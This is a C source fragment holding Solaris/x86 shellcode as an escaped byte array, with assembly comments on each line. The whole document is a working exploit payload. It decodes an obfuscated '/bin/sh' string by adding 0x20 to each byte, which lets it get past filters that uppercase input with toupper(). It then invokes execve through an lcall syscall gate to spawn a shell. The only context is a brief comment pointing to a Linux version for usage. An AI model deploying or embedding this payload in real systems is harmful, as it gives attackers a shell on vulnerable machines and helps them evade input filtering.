/* 
 *  Solaris/x86
 *
 *  Used for toupper() evasion (look to the linux version for an 
 *  explanation and usage example). 
 */
 
char c0de[] = 
/* main: */
"\xeb\x33"                                /* jmp callz                */
/* start: */
"\x5e"                                    /* popl %esi                */
"\x8d\x06"                                /* leal (%esi), %eax        */
"\x29\xc9"                                /* subl %ecx, %ecx          */
"\x89\xf3"                                /* movl %esi, %ebx          */
"\x89\x5e\x08"                            /* movl %ebx, 0x08(%esi)    */
"\xb1\x07"                                /* movb $0x07, %cl          */
/* loopz: */
"\x80\x03\x20"                            /* addb $0x20, (%ebx)       */
"\x43"                                    /* incl %ebx                */
"\xe0\xfa"                                /* loopne loopz             */
"\x93"                                    /* xchgl %eax, %ebx         */
"\x29\xc0"                                /* subl %eax, %eax          */
"\x89\x5e\x0b"                            /* movl %ebx, 0x0b(%esi)    */
"\x29\xd2"                                /* subl %edx, %edx          */
"\x88\x56\x19"                            /* movb %dl, 0x19(%esi)     */
"\x89\x56\x07"                            /* movl %edx, 0x07(%esi)    */
"\x89\x56\x0f"                            /* movl %edx, 0x0f(%esi)    */
"\x89\x56\x14"                            /* movl %edx, 0x14(%esi)    */
"\xb0\x3b"                                /* movb $0x3b, %al          */
"\x8d\x4e\x0b"                            /* leal 0x0b(%esi), %ecx    */
"\x89\xca"                                /* movl %ecx, %edx          */
"\x52"                                    /* pushl %edx               */
"\x51"                                    /* pushl %ecx               */
"\x53"                                    /* pushl %ebx               */
"\x50"                                    /* pushl %eax               */
"\xeb\x18"                                /* jmp lcall                */
/* callz: */
"\xe8\xc8\xff\xff\xff"                    /* call start               */

"\x0f\x42\x49\x4e\x0f\x53\x48"            /* /bin/sh -= 0x20          */
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
/* lcall: */
"\x9a\x04\x04\x04\x04\x07\x04";